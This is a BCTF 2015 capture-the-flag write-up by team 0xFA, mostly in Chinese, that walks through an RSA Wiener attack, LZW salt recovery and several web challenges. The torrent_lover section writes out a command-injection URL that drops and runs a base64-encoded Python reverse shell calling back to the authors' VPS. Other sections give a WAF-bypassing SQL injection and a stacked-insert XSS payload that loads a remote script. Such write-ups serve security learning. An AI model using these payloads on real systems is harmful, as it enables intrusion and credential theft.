BCTF2015 Writeup

Team: 0xFA

checkin (10pt)

tags: trivial

Please checkin at IRC

IRC topic: OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx}

ROT-13: BCTF{we1c0me-t0-BCTF-2015_g00d-luck}

flag: BCTF{we1c0me-t0-BCTF-2015_g00d-luck}

warmup (50pt)

tags: crypto

c=0x1e04304936215de8e21965cfca9c245b1a8f38339875d36779c0f123c475bc24d5eef50e7d9ff5830e80c62e8083ec55f27456c80b0ab26546b9aeb8af30e82b650690a2ed7ea407dcd094ab9c9d3d25a93b2140dcebae1814610302896e67f3ae37d108cd029fae6362ea7ac1168974c1a747ec9173799e1107e7a56d783660418ebdf6898d7037cea25867093216c2c702ef3eef71f694a6063f5f0f1179c8a2afe9898ae8dec5bb393cdffa3a52a297cd96d1ea602309ecf47cd009829b44ed3100cf6194510c53c25ca7435f60ce5f4f614cdd2c63756093b848a70aade002d6bc8f316c9e5503f32d39a56193d1d92b697b48f5aa43417631846824b5e86

http://dl.bctf.cn/warmup-c6aa398e4f3e72bc2ea2742ae528ed79.pub.xz

题目给了一个xz压缩包warmup-c6aa398e4f3e72bc2ea2742ae528ed79.pub.xz,通过xz -d warmup-c6aa398e4f3e72bc2ea2742ae528ed79.pub.xz得到一个公钥文件:

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEDZxmNa1YU6VgTrdjyKkcX
vHK+HqvZM9G4aUT9t1uO0jC+YtfRtp0iIJXBKMhvggEuyxFhkf2dAYptAvhNsnvF
GiEwfchvS/dxxpHBQ+Wr5Um1vS1usaIf1icOfhtI/gYR+7LhsLNSTm9N6LTko0Xa
RKE96CW3JgjbbHxKQLeCZubIe7/e9rSDgdScRQeli81Ht21ktFkIsVi9frxNrLCx
z9bCwZV09A6y79Dp4Q3HAFytObyvUrnqw4czaNaQMcXnJGhKRPBo79HT3Altm11k
EeWL3uQ+RrmaDQSUudsoGVr5Aa/xMNSm4gPa0I2lf6fkAmKlutsqMj7aKLRGlqsw
XQKCAQEA85Wdl44C658G3vPzNdj4r9dgmVHdrGC3FLbCKvD6kS8hCzQga9JKlgHH
jfSgJ18Qf9OrVS2VBX65NOcb3c1wRcJLGFh7jI/PWt1MXYPwx3yU3JxQy+Q44rZ7
r9MWM7aq8XgdkMOtbwPQN7MyGAGyNUbUg+Z+JgZ/eyI0fdvAwtWSzoFMv138zBQU
N/FOCzmQ+IBh5fC65fAeP6cNsOlgXnz9V16cge/uxSnDP9kDeiD9is1ROsljd2gx
PmP5g4rjURzdCporUW8hSMjUdaNgoGNZRJc57s0lGrtCsBRXPkOfL6RXNVeyVpn/
wR5jHOjul1qG5+JyvPX3apNFA0j+Pw==
-----END PUBLIC KEY-----

然后使用openssl得到RSA中的n与e的值openssl rsa -pubin -text -modulus -in warmup-c6aa398e4f3e72bc2ea2742ae528ed79.pub

Public-Key: (2050 bit)
Modulus:
    03:67:19:8d:6b:56:14:e9:58:13:ad:d8:f2:2a:47:
    17:bc:72:be:1e:ab:d9:33:d1:b8:69:44:fd:b7:5b:
    8e:d2:30:be:62:d7:d1:b6:9d:22:20:95:c1:28:c8:
    6f:82:01:2e:cb:11:61:91:fd:9d:01:8a:6d:02:f8:
    4d:b2:7b:c5:1a:21:30:7d:c8:6f:4b:f7:71:c6:91:
    c1:43:e5:ab:e5:49:b5:bd:2d:6e:b1:a2:1f:d6:27:
    0e:7e:1b:48:fe:06:11:fb:b2:e1:b0:b3:52:4e:6f:
    4d:e8:b4:e4:a3:45:da:44:a1:3d:e8:25:b7:26:08:
    db:6c:7c:4a:40:b7:82:66:e6:c8:7b:bf:de:f6:b4:
    83:81:d4:9c:45:07:a5:8b:cd:47:b7:6d:64:b4:59:
    08:b1:58:bd:7e:bc:4d:ac:b0:b1:cf:d6:c2:c1:95:
    74:f4:0e:b2:ef:d0:e9:e1:0d:c7:00:5c:ad:39:bc:
    af:52:b9:ea:c3:87:33:68:d6:90:31:c5:e7:24:68:
    4a:44:f0:68:ef:d1:d3:dc:09:6d:9b:5d:64:11:e5:
    8b:de:e4:3e:46:b9:9a:0d:04:94:b9:db:28:19:5a:
    f9:01:af:f1:30:d4:a6:e2:03:da:d0:8d:a5:7f:a7:
    e4:02:62:a5:ba:db:2a:32:3e:da:28:b4:46:96:ab:
    30:5d
Exponent:
    00:f3:95:9d:97:8e:02:eb:9f:06:de:f3:f3:35:d8:
    f8:af:d7:60:99:51:dd:ac:60:b7:14:b6:c2:2a:f0:
    fa:91:2f:21:0b:34:20:6b:d2:4a:96:01:c7:8d:f4:
    a0:27:5f:10:7f:d3:ab:55:2d:95:05:7e:b9:34:e7:
    1b:dd:cd:70:45:c2:4b:18:58:7b:8c:8f:cf:5a:dd:
    4c:5d:83:f0:c7:7c:94:dc:9c:50:cb:e4:38:e2:b6:
    7b:af:d3:16:33:b6:aa:f1:78:1d:90:c3:ad:6f:03:
    d0:37:b3:32:18:01:b2:35:46:d4:83:e6:7e:26:06:
    7f:7b:22:34:7d:db:c0:c2:d5:92:ce:81:4c:bf:5d:
    fc:cc:14:14:37:f1:4e:0b:39:90:f8:80:61:e5:f0:
    ba:e5:f0:1e:3f:a7:0d:b0:e9:60:5e:7c:fd:57:5e:
    9c:81:ef:ee:c5:29:c3:3f:d9:03:7a:20:fd:8a:cd:
    51:3a:c9:63:77:68:31:3e:63:f9:83:8a:e3:51:1c:
    dd:0a:9a:2b:51:6f:21:48:c8:d4:75:a3:60:a0:63:
    59:44:97:39:ee:cd:25:1a:bb:42:b0:14:57:3e:43:
    9f:2f:a4:57:35:57:b2:56:99:ff:c1:1e:63:1c:e8:
    ee:97:5a:86:e7:e2:72:bc:f5:f7:6a:93:45:03:48:
    fe:3f
Modulus=367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F82012ECB116191FD9D018A6D02F84DB27BC51A21307DC86F4BF771C691C143E5ABE549B5BD2D6EB1A21FD6270E7E1B48FE0611FBB2E1B0B3524E6F4DE8B4E4A345DA44A13DE825B72608DB6C7C4A40B78266E6C87BBFDEF6B48381D49C4507A58BCD47B76D64B45908B158BD7EBC4DACB0B1CFD6C2C19574F40EB2EFD0E9E10DC7005CAD39BCAF52B9EAC3873368D69031C5E724684A44F068EFD1D3DC096D9B5D6411E58BDEE43E46B99A0D0494B9DB28195AF901AFF130D4A6E203DAD08DA57FA7E40262A5BADB2A323EDA28B44696AB305D
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEDZxmNa1YU6VgTrdjyKkcX
vHK+HqvZM9G4aUT9t1uO0jC+YtfRtp0iIJXBKMhvggEuyxFhkf2dAYptAvhNsnvF
GiEwfchvS/dxxpHBQ+Wr5Um1vS1usaIf1icOfhtI/gYR+7LhsLNSTm9N6LTko0Xa
RKE96CW3JgjbbHxKQLeCZubIe7/e9rSDgdScRQeli81Ht21ktFkIsVi9frxNrLCx
z9bCwZV09A6y79Dp4Q3HAFytObyvUrnqw4czaNaQMcXnJGhKRPBo79HT3Altm11k
EeWL3uQ+RrmaDQSUudsoGVr5Aa/xMNSm4gPa0I2lf6fkAmKlutsqMj7aKLRGlqsw
XQKCAQEA85Wdl44C658G3vPzNdj4r9dgmVHdrGC3FLbCKvD6kS8hCzQga9JKlgHH
jfSgJ18Qf9OrVS2VBX65NOcb3c1wRcJLGFh7jI/PWt1MXYPwx3yU3JxQy+Q44rZ7
r9MWM7aq8XgdkMOtbwPQN7MyGAGyNUbUg+Z+JgZ/eyI0fdvAwtWSzoFMv138zBQU
N/FOCzmQ+IBh5fC65fAeP6cNsOlgXnz9V16cge/uxSnDP9kDeiD9is1ROsljd2gx
PmP5g4rjURzdCporUW8hSMjUdaNgoGNZRJc57s0lGrtCsBRXPkOfL6RXNVeyVpn/
wR5jHOjul1qG5+JyvPX3apNFA0j+Pw==
-----END PUBLIC KEY-----

其中n与e的值为:

n=0x367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F82012ECB116191FD9D018A6D02F84DB27BC51A21307DC86F4BF771C691C143E5ABE549B5BD2D6EB1A21FD6270E7E1B48FE0611FBB2E1B0B3524E6F4DE8B4E4A345DA44A13DE825B72608DB6C7C4A40B78266E6C87BBFDEF6B48381D49C4507A58BCD47B76D64B45908B158BD7EBC4DACB0B1CFD6C2C19574F40EB2EFD0E9E10DC7005CAD39BCAF52B9EAC3873368D69031C5E724684A44F068EFD1D3DC096D9B5D6411E58BDEE43E46B99A0D0494B9DB28195AF901AFF130D4A6E203DAD08DA57FA7E40262A5BADB2A323EDA28B44696AB305D
e=0xF3959D978E02EB9F06DEF3F335D8F8AFD7609951DDAC60B714B6C22AF0FA912F210B34206BD24A9601C78DF4A0275F107FD3AB552D95057EB934E71BDDCD7045C24B18587B8C8FCF5ADD4C5D83F0C77C94DC9C50CBE438E2B67BAFD31633B6AAF1781D90C3AD6F03D037B3321801B23546D483E67E26067F7B22347DDBC0C2D592CE814CBF5DFCCC141437F14E0B3990F88061E5F0BAE5F01E3FA70DB0E9605E7CFD575E9C81EFEEC529C33FD9037A20FD8ACD513AC9637768313E63F9838AE3511CDD0A9A2B516F2148C8D475A360A06359449739EECD251ABB42B014573E439F2FA4573557B25699FFC11E631CE8EE975A86E7E272BCF5F76A93450348FE3F

可以看到值是非常大的,直接因式分解有点困难。这里有一个针对大值n&e的攻击方法-RSA-Wiener-Attack

下载GitHub上的程序,使用RSAwienerHacker.py对大值n&e进行hack,成功得到私钥d:

➜  rsa-wiener-attack-master  python RSAwienerHacker.py
Hacked!
('d = ', 4221909016509078129201801236879446760697885220928506696150646938237440992746683409881141451831939190609743447676525325543963362353923989076199470515758399L)

现在有了私钥直接对题目中给出的密文c进行解密即可:

import binascii
n = 0x367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F82012ECB116191FD9D018A6D02F84DB27BC51A21307DC86F4BF771C691C143E5ABE549B5BD2D6EB1A21FD6270E7E1B48FE0611FBB2E1B0B3524E6F4DE8B4E4A345DA44A13DE825B72608DB6C7C4A40B78266E6C87BBFDEF6B48381D49C4507A58BCD47B76D64B45908B158BD7EBC4DACB0B1CFD6C2C19574F40EB2EFD0E9E10DC7005CAD39BCAF52B9EAC3873368D69031C5E724684A44F068EFD1D3DC096D9B5D6411E58BDEE43E46B99A0D0494B9DB28195AF901AFF130D4A6E203DAD08DA57FA7E40262A5BADB2A323EDA28B44696AB305D
d = 4221909016509078129201801236879446760697885220928506696150646938237440992746683409881141451831939190609743447676525325543963362353923989076199470515758399L
c = 0x1e04304936215de8e21965cfca9c245b1a8f38339875d36779c0f123c475bc24d5eef50e7d9ff5830e80c62e8083ec55f27456c80b0ab26546b9aeb8af30e82b650690a2ed7ea407dcd094ab9c9d3d25a93b2140dcebae1814610302896e67f3ae37d108cd029fae6362ea7ac1168974c1a747ec9173799e1107e7a56d783660418ebdf6898d7037cea25867093216c2c702ef3eef71f694a6063f5f0f1179c8a2afe9898ae8dec5bb393cdffa3a52a297cd96d1ea602309ecf47cd009829b44ed3100cf6194510c53c25ca7435f60ce5f4f614cdd2c63756093b848a70aade002d6bc8f316c9e5503f32d39a56193d1d92b697b48f5aa43417631846824b5e86

m = hex(pow(c, d, n)).rstrip("L")
print m
print binascii.unhexlify(m[2:])

然后得到输出:

0x424354467b3965745265613479217d
BCTF{9etRea4y!}

flag: BCTF{9etRea4y!}

torrent_lover (233pt)

tags: web

A dog loves torrent.

http://218.2.197.253/index.php

一开始在VPS上运行nc进行监听,在页面提交对应地址时,发现UA头为wget,想到可能是命令注入,然后尝试在url里插入linux命令:

http://103.224.82.158:8888/`whoami`.torrent

通过发送的数据可以看到确实存在命令注入:

[demo@vps ~]$ nc -v -l 8888
Connection from 218.2.197.253 port 8888 [tcp/ddi-tcp-1] accepted
GET /www-data.torrent HTTP/1.1
User-Agent: Wget/1.15 (linux-gnu)
Accept: */*
Host: 103.224.82.158:8888
Connection: Keep-Alive

因服务器过滤了空格,所以为了使用带参数的命令,这里用$IFS来代替空格。然后通过命令执行来写入一个python的反弹shell脚本并执行:

写入shell(0002.py)

http://103.224.82.158:8000%2F`echo$IFS"aW1wb3J0IGJhc2U2NCxzeXM7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHsyOnN0ciwzOmxhbWJkYSBiOmJ5dGVzKGIsJ1VURi04Jyl9W3N5cy52ZXJzaW9uX2luZm9bMF1dKCdhVzF3YjNKMElITnZZMnRsZEN4emRISjFZM1FLY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FwekxtTnZibTVsWTNRb0tDY3hNRE11TWpJMExqZ3lMakUxT0Njc016RXpNemNwS1Fwc1BYTjBjblZqZEM1MWJuQmhZMnNvSno1Skp5eHpMbkpsWTNZb05Da3BXekJkQ21ROWN5NXlaV04yS0d3cENuZG9hV3hsSUd4bGJpaGtLVHhzT2dvSlpDczljeTV5WldOMktHd3RiR1Z1S0dRcEtRcGxlR1ZqS0dRc2V5ZHpKenB6ZlNrSycpKSkK"|base64$IFS--decode$IFS>/tmp/0002.py`.index.torrent

然后执行弹回shell

http://103.224.82.158:8000/`python$IFS/tmp/0002.py`.index.torrent

通过浏览目录,发现上级目录中存在一敏感目录flag,进去看到只有两个文件,查看其权限:

$ ls -al
total 24
drwxr-xr-x 2 root root     4096 Mar 21 15:14 .
drwxr-xr-x 5 root root     4096 Mar 21 22:39 ..
-r-------- 1 flag flag       57 Mar 21 12:14 flag
-rwsr-x--- 1 flag www-data 8871 Mar 21 12:13 use_me_to_read_flag

若直接在/var/www/flag下运行use_me_to_read_flag程序去读取flag文件,会没有权限。将flag文件在/tmp下建立一链接后再读取即可:

$ cd /tmp
$ ln -s /var/www/flag/flag x
$ /var/www/flag/use_me_to_read_flag x
BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}

flag: BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}

experiment (300pt)

tags: programming

Hi, we have a short survey with 50 questions. You can get a flag as award once you finished it.

nc 104.197.7.111 13135

题目要求回答50道题目才能获取flag。nc连上去后首先是10轮的整形判断(PS:”rm -ri *” seens well),接着是40轮的序列计算,根据服务端给出的描述信息和样例序列可以到著名网站http://oeis.org/进行查询搜索,并且第11-45轮的答案都能在网站的样例序列中找到。46-50轮的答案无法在网站上直接查出,但是能在oeis.org上直接查到相关数据软件的算法代码,这里本地使用Maple进行最后5轮的计算,最后成功获取到flag :)(中间遇到了很多坑,后来才使用Maple搞定)。

img

flag: BCTF{Y0u_h4ve_m0ar_7ermz_than_205}

sqli_engine (200pt)

tags: web

http://104.197.7.111:8080/

geohot told me he has a lot of sql injection tricks. So I wrote a sql injection detection engine in defense.

Now you have a simple website protected by my engine, try to steal the admin’s password(not hash).

form = web.input()

username = form.get('username')
password = form.get('password')

if sqliengine.is_sqli(username):
raise web.BadRequest(u'username contains SQL injection, IP recorded.')

if sqliengine.is_sqli(password):
raise web.BadRequest(u'password contains SQL injection, IP recorded')

if sqliengine.is_sqli(username + password):
raise web.BadRequest(u'username + password contains SQL injection, IP recorded')

# continue normal db operation

There are only two pages: login and register, please do not use web scanner to brute force, just do the sqli part.

登陆的地方,绕绕绕waf就可以了:

username=admin&password=admin' %0a%23%0aUnIOn%23%0aSeLecT+1,(select{x password}from{x users}%23%0awhere id=1),3%23

flag: {h0w-d1d-y0u-fee1-l1ke-th3-sql1-eng1ne}

webchat (325pt)

tags: web

http://146.148.60.107:9991/

看过一篇文章WebSocket跨站劫持和题目很像,里面有个Tools-csws

用Chrome看了下包:

img

构造一下:

img

成功通信,想测试xss来打Cookies发现过滤了7788的 手抖打了个引号发现报错了:

eDatabase error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’aaa: aaa’’)’ at line 1

猜想他的SQL语句是这样写的

insert into test values ('aaa: aaa');

因为SCTF有一题sqli >> xss的 而且在不知道后台的情况下 注出数据没啥用 所以尝试select一个xss语句,但是发现#,–,/*等注释语句都被过滤了 后来想到多语句执行:

insert into test values ('aaa: aaaa'),((select 0x3C736372697074207372633D687474703A2F2F742E636E2F52417A57394A503E3C2F7363726970743E));')

这样就可以同时插入2条数据,虽然返回是错误 但是数据成功插入了,Get!

img

flag: BCTF{xss_is_not_that_difficult_right}

weak_enc (200pt)

tags: crypto

$ nc 146.148.79.13 8888

http://dl.bctf.cn/weak_enc-40eb1171f07d8ebb06bbf36849d829a1.py.xz

Decrypt: NxQ1NDMYcDcw53gVHzI7

The flag for this problem does not look like BCTF{xxxxxx}

连上去返回:

Please provide your proof of work, a sha1 sum ending in 16 bit’s set to 0, it must be of length 21 bytes, starting with uT0CQlFV7A/uO/+b

先得过这个才能用的加密系统,然后,写出py:

import os, sys
import hashlib
from pwn import *
p = remote('146.148.79.13', 8888)
def get_hash(hsh):
if (hsh[-2] == '\x00' and hsh[-1] == '\x00'):
return True
return False

def init_connection():
hello = p.recv()
print hello
pre = hello[-17:-1]
print pre
test = pre + os.urandom(5)
ha = hashlib.sha1()
ha.update(test)
while (get_hash(ha.digest()) == False):
test = pre + os.urandom(5)
ha = hashlib.sha1()
ha.update(test)
print ha.digest()
print test
p.send(test)
print p.recv()
p.interactive()
init_connection()

能使用它的加密系统后,随意输了个a、b,发现返回值是一样的,然后敲了个空格,返回了NxQ1NDMYcDcw53g=,然后去看源码,这段就是S对SALT加密的结果。那,为何输入a和b都是返回一样的呢?看源码:

def encrypt(m):
lzwDict = dict()
toEnc = LZW(SALT + m, lzwDict)
key = hashlib.md5(SALT*2).digest()
OTPBase = ""
OPT = ""
step = HASHLENGTH - SMALLPRIME
for i in range(0, 3*N+step, step):
rand, key = STRONGPseudoRandomGenerator(key)
OTPBase += rand
enc = []
otpadded = []
for i in range(len(toEnc)):
index = i % N
iRound = i / N + 1
OTP = OTPBase[3*int(pow(ord(OTPBase[3*index]),ord(OTPBase[3*index+1])*iRound, N))+2]
otpadded.append(ord(OTP))
enc.append(chr(toEnc[i] ^ ord(OTP)))
return b64.b64encode(''.join(enc))

上面得出OTPBase只与SALT有关,而且得到的返回值的长度只与toEnc的长度有关,就跟过去看看LZW吧:

def LZW(s, lzwDict): # LZW written by NEWBIE
for c in s:
updateDict(c, lzwDict)
# print lzwDict # have to make sure it works
result = []
i = 0
while i < len(s):
if s[i:] in lzwDict:
result.append(lzwDict[s[i:]])
break
for testEnd in range(i+2, len(s)+1):
if not s[i:testEnd] in lzwDict:
updateDict(s[i:testEnd], lzwDict)
result.append(lzwDict[s[i:testEnd-1]])
i = testEnd - 2
break
i += 1
return result

第一个循环将所有单字符加入到lzwDict中,而后,将所有“组合”全部放入lzwDict中,而if s[i:] in lzwDict:会把最后一个加入到lzwDict。如SALT为ab,则我们输入a时,lzwDict{'a': 0, 'b': 1, 'ab': 2, 'ba': 3}toEnc为:[0,1,0]。但是输入c时,lzwDict{'a': 0, 'c': 2, 'b': 1, 'ab': 3, 'bc': 4},toEnc为:[0, 1, 2]。所以出现相同的加密结果能证明输入的字符不在SALT中。于是就可以爆破出SALT中包含的字符有:n,i,k,o。然后通过含有组合则不增加长度的方式继续爆破得到两位的:

>>> tuple: ni Value: NxQ1NDMYcDcw53ga, len: 12
>>> tuple: ik Value: NxQ1NDMYcDcw53gb, len: 12
>>> tuple: ko Value: NxQ1NDMYcDcw53gY, len: 12
>>> tuple: on Value: NxQ1NDMYcDcw53gZ, len: 12

三位:

>>> tuple: nin Value: NxQ1NDMYcDcw53gU, len: 12
>>> tuple: nik Value: NxQ1NDMYcDcw53gW, len: 12
>>> tuple: iko Value: NxQ1NDMYcDcw53gT, len: 12
>>> tuple: kon Value: NxQ1NDMYcDcw53gX, len: 12
>>> tuple: oni Value: NxQ1NDMYcDcw53gS, len: 12

四位:

>>> tuple: niko Value: NxQ1NDMYcDcw53gV, len: 12
>>> tuple: onio Value: NxQ1NDMYcDcw53gQ, len: 12

五位的不存在了。然后,需要注意ninonionioioin组合是没有出现在二位的组合中的。要包含这些然而又不能出现在二位组合中只能是跳过,所以,nin后肯定接的是ik。所以有一个ninik,在它之前要出现一次ni才能取到nin,ni后跟着的是ko,组合得到nikoniniknioio不存在的情况下要实现输入onio出现两次onio,只能是oni出现在最后,即输入onio后出现onionio,而且得是在此之前出现过oni才行。所以得到两串:nikoninikoni。再来组合niko,第一次niko,出现三个二位,再来一串时nikoniko,出现nikiko,再接上刚才的nikoninik,得到nikonikonikonink会出现ink。不符合,再减少一个nikonikonikonink得到

{'ni': 4, 'nk': 11, 'nik': 8, 'on': 7, 'i': 1, 'k': 2, 'kon': 9, 'ko': 6, 'o': 3, 'n': 0, 'ik': 5, 'nin': 10}

三位的还有oniiko没有出现过,要出现niko意味着还得出现一次nik,于是在后面再加一个niko,连接上oni,组成nikonikoninikonikoni,运行出现”NxQ1NDMYcDcw53g=”。所以SALT得到了。

给的密文是NxQ1NDMYcDcw53gVHzI7,解码后得到长度为15,放进去逆运算得到toEnc为:

[0, 1, 2, 3, 4, 6, 4, 8, 7, 5, 12, 11, 10, 13, 4]

而没加密文的SALT得到的toEnc为:

[0, 1, 2, 3, 4, 6, 4, 8, 7, 5, 12],

再输出没加密文的lzwDict:

{'ni': 4, 'oni': 12, 'nik': 8, 'on': 7, 'i': 1, 'k': 2, 'kon': 9, 'ko': 6, 'niko': 11, 'o': 3, 'n': 0, 'ik': 5, 'nin': 10, 'iko': 13}

发现,flag似乎也是niko中的。后面四位中有出现nikoninikoni组合。看了看,发现,这几个组起来刚好符合要求nikoninikoniniko以前出现过,添加nikon到dic,下标指向下一个nnin出现过,添加nini,下标指向下一个i,继续添加ikondic,然后最后三个为oni

于是flag就是:nikoninikoni

flag: nikoninikoni